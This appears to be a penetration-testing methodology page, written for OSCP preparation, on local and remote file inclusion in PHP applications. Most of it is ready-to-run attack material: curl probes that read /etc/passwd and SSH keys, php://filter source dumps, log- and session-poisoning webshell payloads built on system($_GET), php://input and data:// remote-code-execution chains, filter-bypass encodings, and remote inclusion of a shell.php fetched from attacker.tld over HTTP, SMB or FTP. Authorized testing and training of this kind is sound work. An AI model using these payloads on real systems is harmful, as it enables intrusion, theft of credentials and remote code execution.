Skip to main content

LFI / RFI (Local and Remote File Inclusion)

File inclusion vulnerabilities: the target includes a file from a path or URL that the attacker controls. Often leads to source disclosure, then RCE.

CAUTION

Authorized use only. See ../../SECURITY.md.


Table of Contents​


1. Overview​

Three related bugs, often confused:

BugWhat it doesExample
Path TraversalRead files by breaking out of a directory?file=../../../etc/passwd
LFIInclude a LOCAL file the server can access?page=/etc/passwd
RFIInclude a REMOTE file the attacker hosts?page=http://attacker/shell.txt

Impact chain:

  1. Read source code (config files, credentials).
  2. Read /etc/passwd, /root/.ssh/id_rsa (if permissions allow).
  3. Poison a log file and include it for RCE (log poisoning).
  4. Use PHP wrappers for direct RCE (php://input, data://, expect://).
  5. RFI: include a shell from your server.

On OSCP: LFI is very common. Always look for a chain from LFI to RCE (log poisoning, wrappers, session files). LFI alone is a finding, LFI to RCE is a foothold.


2. Scope & OPSEC​

2.1 Risk​

ActionTag
Manual path traversal probe[PROD]
Reading /etc/passwd, source files[PROD-RISK]
Log poisoning (injects into shared logs)[PROD-NO]
Wrapper-based RCE (php://input, data://)[PROD-NO]
RFI to attacker server[PROD-NO]

2.2 What NOT to do (production)​

  • Do NOT read /etc/shadow, cloud credentials, or user private keys.
  • Do NOT poison system-wide logs (impacts other users).
  • Do NOT use wrapper-based RCE without written approval.
  • Do NOT use RFI (calls out to attacker infrastructure, may violate scope).
  • Do NOT include /proc/self/environ at scale (often crashes workers).

2.3 Rate limiting​

LFI requests are individual HTTP calls. In production, do not brute-force traversal depths or wrapper chains; the app may log or lock.


3. Detection​

3.1 Basic probes​

Look for parameters that accept file paths or page names:

  • ?file=, ?page=, ?path=, ?include=, ?template=, ?view=, ?doc=
  • ?lang=, ?locale=, ?module=, ?action=
  • ?img=, ?image=, ?download=, ?attachment=

Then probe:

# Linux
curl 'http://target/?file=../../../../etc/passwd'
curl 'http://target/?file=/etc/passwd'
curl 'http://target/?file=....//....//....//etc/passwd'

# Windows
curl 'http://target/?file=..\\..\\..\\..\\windows\\win.ini'
curl 'http://target/?file=C:\\Windows\\win.ini'

Expected output (Linux success):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

3.2 Common params to try​

for p in file page path include template view doc lang locale module img image download attachment; do
echo --- $p ---
curl -s 'http://target/?$p=/etc/passwd' | head -3
done

3.3 Wrapper detection​

If the app is PHP, test wrappers directly:

curl 'http://target/?file=php://filter/convert.base64-encode/resource=index.php'
curl 'http://target/?file=data://text/plain,test'
curl 'http://target/?file=expect://id'

A base64 blob in the response means the wrapper is not filtered.


4. LFI Exploitation​

4.1 Basic traversal​

Linux targets:

/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/proc/self/cwd/
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/mail.log
/var/log/vsftpd.log
/root/.ssh/id_rsa
/root/.bash_history
/home/[user]/.ssh/id_rsa
/home/[user]/.bash_history

Windows targets:

C:\\Windows\\win.ini
C:\\Windows\\System32\\drivers\\etc\\hosts
C:\\Windows\\System32\\config\\SAM
C:\\Windows\\repair\\SAM
C:\\Windows\\Panther\\Unattend.xml
C:\\inetpub\\logs\\LogFiles\\

Traversal depth: usually 5-10 levels is enough. Try multiple encodings (see section 7).

4.2 Reading source via php://filter​

When you cannot read PHP source raw (it executes), use php://filter:

curl 'http://target/?file=php://filter/convert.base64-encode/resource=index.php'

Then decode:

curl -s 'http://target/?file=php://filter/convert.base64-encode/resource=index.php' | base64 -d

This dumps the raw PHP source, revealing:

  • Database credentials
  • API keys
  • Include paths (for further LFI)
  • Filter logic (to bypass)

4.3 Log poisoning​

Inject PHP code into a log file, then include the log via LFI.

Apache access.log:

curl -A '<?php system($_GET['c']); ?>' 'http://target/'
curl 'http://target/?file=/var/log/apache2/access.log&c=id'

Apache error.log (payload in URL, triggers 404):

curl 'http://target/<?php system($_GET['c']); ?>'
curl 'http://target/?file=/var/log/apache2/error.log&c=id'

SSH auth.log (if OpenSSH accepts weird usernames):

ssh '<?php system($_GET['c']); ?>'@target
curl 'http://target/?file=/var/log/auth.log&c=id'

Mail log (send an email with payload in From/Subject):

sendmail attacker@target </dev/null
Subject: <?php system($_GET['c']); ?>

Log paths to know:

LogDefault path
Apache access/var/log/apache2/access.log
Apache error/var/log/apache2/error.log
Nginx access/var/log/nginx/access.log
Nginx error/var/log/nginx/error.log
SSH auth/var/log/auth.log (Debian) or /var/log/secure (RHEL)
Mail/var/log/mail.log
FTP (vsftpd)/var/log/vsftpd.log
IISC:\inetpub\logs\LogFiles\

4.4 /proc/self/environ​

If the target has a writable User-Agent (or Referer) reflected in environ, include it:

curl -A '<?php system($_GET['c']); ?>' 'http://target/?file=/proc/self/environ&c=id'

Often blocked by modern kernels (proc hidepid, permissions). Fallback: log poisoning.

4.5 Session files​

If the app stores session data in a file with attacker-controlled content:

  1. Find session file path (usually /var/lib/php/sessions/sess_[PHPSESSID]).
  2. Write payload into session (e.g. via a form field).
  3. Include the session file via LFI.
curl 'http://target/login' -b 'PHPSESSID=abc123' -d 'username=<?php system($_GET['c']); ?>&password=x'
curl 'http://target/?file=/var/lib/php/sessions/sess_abc123&c=id'

4.6 LFI to RCE chains​

Chain 1: LFI + log poisoning -> webshell

curl -A '<?php system($_GET['c']); ?>' 'http://target/'
curl 'http://target/?file=/var/log/apache2/access.log&c=id'

Chain 2: LFI + php://input -> RCE (requires allow_url_include=On):

curl 'http://target/?file=php://input' --data '<?php system($_GET['c']); ?>'
curl 'http://target/?file=php://input&c=id' --data '<?php system($_GET['c']); ?>'

Chain 3: LFI + data:// -> RCE (requires allow_url_include=On):

curl 'http://target/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg=='

(base64 of )

Chain 4: LFI + /proc/self/environ -> RCE:

curl -A '<?php system($_GET['c']); ?>' 'http://target/?file=/proc/self/environ&c=id'

4.7 PHP filter chain RCE​

Advanced technique: chain convert.iconv filters to synthesize PHP code from php://temp without needing allow_url_include.

Requires the LFI to allow php://filter with any resource. Tool:

git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET['c']); ?>'
# copy the generated php://filter/... URL into ?file=

Reference: Synacktiv, 'PHP filter chains: file read from error-based oracle'.


5. RFI Exploitation​

RFI requires allow_url_include=On in PHP (rare in modern deployments).

5.1 Basic HTTP include​

Host a PHP file on your server:

# shell.php (on attacker)
<?php system($_GET['c']); ?>

# Start HTTP server
python3 -m http.server 80

Include it via the target:

curl 'http://target/?file=http://attacker.tld/shell.php&c=id'

5.2 SMB / WebDAV​

For Windows targets, PHP can include via SMB:

curl 'http://target/?file=\\\\attacker.tld\\share\\shell.php&c=id'

Set up an SMB share with impacket-smbserver:

impacket-smbserver share . -smb2support

5.3 FTP​

curl 'http://target/?file=ftp://attacker.tld/shell.php&c=id'

5.4 Restricted include bypass​

If HTTP is blocked but the app allows arbitrary wrappers, try:

  • data:// wrapper (inline payload, no remote fetch).
  • SMB via 127.0.0.1 share with crafted payload.
  • \\127.0.0.1\ path for local files over SMB.

6. Wrappers Reference​

WrapperPurposeRequiresExample
php://filterRead with filters (base64, iconv)nothing specialphp://filter/convert.base64-encode/resource=index.php
php://inputRead POST body as fileallow_url_include=On?file=php://input (POST body is PHP code)
data://Inline data as fileallow_url_include=On?file=data://text/plain;base64,...
expect://Execute commandsexpect extension?file=expect://id
zip://Read file inside ZIPability to upload ZIP?file=zip:///path/upload.zip%23shell.php
phar://Read PHAR archive (unserialize)ability to upload PHAR?file=phar:///path/upload.phar/x
glob://List files by patternnothing special?file=glob:///var/www/*

Top 3 for OSCP: php://filter, php://input, data://.

6.1 Reading source via php://filter​

curl 'http://target/?file=php://filter/convert.base64-encode/resource=index.php' | base64 -d

6.2 php://input RCE​

curl 'http://target/?file=php://input' --data '<?php system($_GET['c']); ?>'

6.3 data:// RCE​

curl 'http://target/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg=='

7. Filter Bypass​

Common filters and bypasses:

FilterBypass
Strip ../....// or ..././ or ..%2f
Strip /..%2f or ..%252f
Strip null byteUse null byte in old PHP (%00) - blocked since 5.3.4
Allowlist extensionsAppend null byte (old) or use path tricks
Strip phpUse case (PHP), encode (%70hp)
Encode onceTry double encoding: %252e%252e%252f
Strip wrapperTry uppercase (PHP://), whitespace, comments

Encoding examples:

Plain: ../../../etc/passwd
URL: ..%2f..%2f..%2fetc%2fpasswd
Double URL: ..%252f..%252f..%252fetc%252fpasswd
Unicode: ..%c0%af..%c0%afetc/passwd
Overlong: ..%c0%ae%c0%ae/
Mixed: ....//....//etc/passwd

8. Tools​

ToolPurpose
LFISuiteAutomated LFI exploitation
KadimusLFI scanner and exploiter
ffufFuzz file parameters
Burp IntruderManual parameter fuzzing
php_filter_chain_generatorGenerate PHP filter chain payloads

Examples:

# Kadimus
kadimus -u 'http://target/?file=index.php'

# LFISuite
python3 lfisuite.py

# ffuf on file parameter
ffuf -u 'http://target/?file=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt

9. OSCP Notes​

IMPORTANT

OSCP report:

  • Screenshot the LFI proof (/etc/passwd contents).
  • Screenshot the source disclosure (php://filter -> decoded config).
  • Screenshot the log poisoning write and the RCE read (id output).
  • Screenshot the final webshell / reverse shell.

LFI -> RCE chain is a common foothold. Always attempt: (1) log poisoning, (2) php://input or data:// if allow_url_include=On, (3) session file poisoning.

See ../../methodology/OSCP-Reporting.md.


10. Cheatsheet​

# Basic LFI
curl 'http://target/?file=../../../../etc/passwd'
curl 'http://target/?file=/etc/passwd'

# Source disclosure
curl 'http://target/?file=php://filter/convert.base64-encode/resource=index.php' | base64 -d

# Log poisoning -> RCE
curl -A '<?php system($_GET['c']); ?>' 'http://target/'
curl 'http://target/?file=/var/log/apache2/access.log&c=id'

# php://input RCE (allow_url_include=On)
curl 'http://target/?file=php://input' --data '<?php system($_GET['c']); ?>'

# /proc/self/environ RCE
curl -A '<?php system($_GET['c']); ?>' 'http://target/?file=/proc/self/environ&c=id'

# RFI
curl 'http://target/?file=http://attacker.tld/shell.php&c=id'

11. References​

See also: ../01 Recon/WAF-Detection.md, ../06 Technologies/XXE.md, File-Upload.md


Part of MethodMan. English only by design. Last updated: 2026-10-11.